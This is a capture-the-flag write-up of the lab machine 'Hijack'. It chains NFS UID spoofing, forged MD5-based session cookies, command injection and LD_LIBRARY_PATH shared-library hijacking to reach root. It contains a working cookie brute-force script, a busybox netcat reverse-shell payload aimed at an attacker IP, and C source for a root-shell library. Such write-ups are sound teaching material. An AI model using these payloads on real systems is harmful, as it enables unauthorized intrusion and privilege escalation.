Hijack
Executive Summary
This report details a successful penetration test against the target system "Hijack". The attack leveraged a chain of vulnerabilities:
- Exposed NFS Share: An improperly configured Network File System (NFS) share exposed sensitive files, leading to the discovery of FTP credentials.
- Predictable Session Cookie Generation: The web application used a weak, predictable algorithm to generate session cookies, enabling session hijacking.
- Command Injection: A service status checker in the web application's administration panel was vulnerable to command injection, granting shell access as the
www-data
user. - Privilege Escalation via LD_LIBRARY_PATH: Misconfigured
sudo
permissions allowed therick
user to runapache2
with a controlledLD_LIBRARY_PATH
, leading to shared library hijacking and root-level access.
1. Initial Reconnaissance
1.1. Port Scanning
Initial reconnaissance was performed using nmap
to identify open ports and services.
export TARGET_IP=10.10.57.168
nmap -p- --min-rate 5000 $TARGET_IP
Output (Summarized):
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
... (other less relevant ports) ...
Key Findings:
- FTP (21/tcp): Indicates a file transfer service.
- SSH (22/tcp): Suggests remote shell access.
- HTTP (80/tcp): Implies a web server, likely hosting a web application.
- RPCBind (111/tcp) & NFS (2049/tcp): Strong indicators of a Network File System share, a potential target for unauthorized file access.
1.2. Service Version Enumeration
Further nmap
scans were conducted to gather service version information and run relevant scripts.
sudo nmap -sV -sC -p 111,2049 --script=nfs-ls,nfs-statfs,nfs-showmount $TARGET_IP
Output (Summarized):
PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
2049/tcp open nfs 2-4 (RPC #100003)
...
nfs-showmount:
/mnt/share *
nfs-ls: Volume /mnt/share
access: NoRead NoLookup NoModify NoExtend NoDelete NoExecute
...
Key Findings and Explanation:
- NFS Versions: The NFS service supports versions 2, 3, and 4. Older versions (especially v2) can be more vulnerable.
/mnt/share
Export: Thenfs-showmount
output confirms that the/mnt/share
directory is exported. The asterisk (*
) indicates that this share is accessible to any client, a significant security risk.- Restricted Anonymous Access: While the share is exposed, anonymous access is restricted. The
nfs-ls
output showsNoRead
,NoLookup
, etc., meaning we cannot directly list or read files without appropriate credentials. This is good practice on the server-side, but doesn't mean the share is secure.
1.3. Web Application Reconnaissance
Browsing to http://10.10.57.168/
revealed a login page. Initial login attempts with common credentials (test:test
, admin:admin
) were unsuccessful, but provided valuable information:
test:test
: "No account found with that username."admin:admin
: "The password you entered is not valid."- Brute-force Protection: Attempting multiple login attempts triggered a lockout: "You have exceeded 5 login attempts. This account has been locked for 300 seconds."
Key Findings:
- The username
admin
exists. - Brute-force attacks are mitigated by account lockout, making direct password guessing impractical.
- FTP Anonymous login is not allowed.
2. Exploitation
2.1. NFS Enumeration and Credential Discovery
The presence of the NFS share warranted further investigation. We attempted to mount the share locally.
mkdir /tmp/share
sudo mount -t nfs 10.10.57.168:/mnt/share /tmp/share
ls -l /tmp/share
Output:
drwx------ 2 1003 1003 4096 Aug 8 2023 share
Explanation and Exploitation:
- Mounting the Share: The
mount
command successfully attached the remote NFS share/mnt/share
to the local directory/tmp/share
. - Restricted Permissions: The
ls -l
output reveals that the mounted directory is owned by user ID (UID) 1003 and group ID (GID) 1003, with permissions only allowing the owner access. - UID/GID Matching: This is a crucial concept in NFS security. NFS uses numeric UIDs and GIDs, not usernames, for access control. If we create a local user with the same UID (1003), we can potentially access files owned by that UID on the NFS share, regardless of the username on the remote system.
To exploit this, we created a local user b0end
with UID 1003:
sudo useradd -u 1003 b0end
sudo passwd b0end
su b0end
cat /tmp/share/for_employees.txt
Result:
The cat
command, executed as user b0end
, successfully retrieved the contents of /tmp/share/for_employees.txt
, revealing FTP credentials: ftpuser:W3stV1rg1n14M0un741nM4m4
.
Why this works: The NFS server doesn't know or care about the name b0end
. It only sees a request from UID 1003, which matches the file owner, and therefore grants access.
Further Data Exfiltration: We used the discovered FTP credentials to download files from the FTP server:
exit
cd /home/kali/Downloads # Or any suitable directory
wget -r --user="ftpuser" --password="W3stV1rg1n14M0un741nM4m4" ftp://10.10.57.168
This downloaded two important files: .from_admin.txt
and .passwords_list.txt
.
.from_admin.txt
contained a message from the administrator, confirming the existence of a password list and the presence of brute-force protection..passwords_list.txt
contained a list of potential passwords for the web application.
2.2. Session Hijacking
Inspecting the web application's cookies after registering a test user (test:password
) revealed a pattern. The PHPSESSID
cookie was URL-encoded. Decoding it revealed a further Base64-encoded string:
# URL Decode
url_decoded=$(echo "dGVzdDo1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OQ%3D%3D" | python3 -c 'import urllib.parse, sys; print(urllib.parse.unquote(sys.stdin.read()))')
echo $url_decoded
# Base64 Decode
base64_decoded=$(echo "$url_decoded" | base64 -d)
echo "$base64_decoded"
# Verification (MD5 hash of "password")
echo -n "password" | md5sum | cut -d ' ' -f 1
Analysis:
The cookie value followed the pattern: urlencode(base64(username:md5(password)))
. This is a highly predictable and vulnerable cookie generation mechanism. An attacker can craft a cookie for any user if they can guess or obtain the MD5 hash of the user's password.
Exploitation (Python Script):
A Python script was developed to generate valid admin
cookies using the passwords from .passwords_list.txt
and attempt to access the /administration.php
page.
import requests
import hashlib
import base64
import urllib.parse
def generate_cookie(username, password):
"""Generates the session hijacking cookie."""
hashed_password = hashlib.md5(password.encode()).hexdigest()
cookie_string = f"{username}:{hashed_password}"
cookie_base64 = base64.b64encode(cookie_string.encode()).decode()
cookie_url_encoded = urllib.parse.quote(cookie_base64)
return cookie_url_encoded
def attack(url, file_path_to_passwords):
"""Performs the session hijacking attack."""
headers = {
'Host': url.split('//')[-1].split('/')[0], # Correctly extract host
'Cache-Control': 'max-age=0',
'Accept-Language': 'en-US,en;q=0.9',
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
}
try:
with open(file_path_to_passwords, 'r') as f:
passwords = [line.strip().strip('# ') for line in f] # Remove comments and whitespace
except FileNotFoundError:
print(f"Error: Password file not found at {file_path_to_passwords}")
return
for password in passwords:
cookie = generate_cookie('admin', password)
headers['Cookie'] = f'PHPSESSID={cookie}'
try:
response = requests.get(url, headers=headers, allow_redirects=False) # Added allow_redirects = False
response.raise_for_status() # Raise HTTPError for bad responses (4xx or 5xx)
if "Access denied" not in response.text:
print(f"Success! Admin password is likely: {password}")
print("Response:")
print(response.text)
print(f"Cookie used: PHPSESSID={cookie}")
return # Stop after the first successful attempt
else:
print(f"Trying password: {password} - Access Denied")
except requests.exceptions.RequestException as e:
print(f"An error occurred: {e}")
return
print("Attack failed. Could not guess admin password.")
if __name__ == "__main__":
url = "http://10.10.57.168/administration.php" # URL to target
file_path_to_passwords = '/home/kali/Downloads/passwords_list.txt' # Path to the passwords file. ADJUST AS NEEDED.
attack(url, file_path_to_passwords)
Result:
The script successfully identified the admin password as uDh3jCQsdcuLhjVkAy5x
. The corresponding PHPSESSID
cookie was YWRtaW46ZDY1NzNlZDczOWFlN2ZkZmIzY2VkMTk3ZDk0ODIwYTU%3D
. Using this cookie granted access to the /administration.php
page.
2.3. Command Injection
The /administration.php
page contained a "Services Status Checker" feature. Inputting a service name displayed its status. This functionality was vulnerable to command injection.
Testing:
- Input:
test
Output: (Normal service status output) - Input:
$(id)
Output:* uid=33(www-data).service ...
Explanation:
The $(id)
input demonstrates command injection. The server-side code likely uses a shell command to check the service status, and unsanitized user input is directly incorporated into this command. The $(...)
syntax in Bash executes the command within the parentheses (in this case, id
) and substitutes the output into the larger command. The output confirms that the injected command id
was executed, revealing that the web server is running as the www-data
user (UID 33).
Exploitation (Reverse Shell):
A reverse shell was established using busybox nc
:
- Listener: On the attacking machine:
nc -lvnp 7777
- Payload (Injected Input):
$(busybox nc 10.2.17.44 7777 -e sh)
(Replace10.2.17.44
with your attacking machine's IP)
Result:
A shell was obtained as the www-data
user. Further enumeration revealed database credentials in config.php
:
cat config.php
Credentials: rick:N3v3rG0nn4G1v3Y0uUp
(database user: rick
)
2.4. Privilege Escalation (LD_LIBRARY_PATH
Hijacking)
su rick # Password: N3v3rG0nn4G1v3Y0uUp
sudo -l
Output (Summarized):
User rick may run the following commands on Hijack:
(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
... env_keep+=LD_LIBRARY_PATH ...
Vulnerability:
sudo apache2
:rick
can runapache2
as root.env_keep+=LD_LIBRARY_PATH
: This is the critical vulnerability. It means that whenrick
usessudo
to runapache2
, theLD_LIBRARY_PATH
environment variable is preserved.LD_LIBRARY_PATH
specifies directories where the system should search for shared libraries before the standard locations.
Exploitation (Shared Library Hijacking):
-
Identify a Target Library: We listed the shared libraries used by
apache2
:ldd /usr/sbin/apache2
We chose
libcrypt.so.1
as our target. Any library loaded byapache2
could be used. -
Create a Malicious Library: We created a C file (
hijack.c
) containing a function that will execute when the library is loaded. This function will escalate privileges and launch a shell:hijack.c#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH"); // Clean up
setresuid(0,0,0); // Set real, effective, and saved UIDs to 0 (root)
system("/bin/bash -p"); // Execute bash with the -p flag (preserve privileges)
}__attribute__((constructor))
: This directive ensures that thehijack
function is executed automatically when the library is loaded.- unsetenv("LD_LIBRARY_PATH"): This cleans up the environment variable and prevent unexpecteds behaviors.
setresuid(0, 0, 0)
: This is the key to privilege escalation. It sets the real UID, effective UID, and saved set-user-ID to 0 (root). This grants the process full root privileges.system("/bin/bash -p");
: Executes/bin/bash
with the-p
flag. The-p
flag is important; it tells Bash to preserve the elevated privileges (the effective UID of 0) even if the real UID is different. Without-p
, Bash would drop privileges back to the real UID (rick).
-
Compile the Library:
gcc -o /tmp/libcrypt.so.1 -shared -fPIC hijack.c
-shared
: Creates a shared library.-fPIC
: Generates position-independent code, which is required for shared libraries.-o /tmp/libcrypt.so.1
: Specifies the output filename. It must match the name of the library we are hijacking.
-
Execute
apache2
with the Hijacked Library:sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
LD_LIBRARY_PATH=/tmp
: Sets theLD_LIBRARY_PATH
environment variable to/tmp
, causing the system to load our maliciouslibcrypt.so.1
from/tmp
before the legitimate one.
Result:
A root shell was obtained. The final flag could be retrieved:
id # Verify root privileges
cat /root/root.txt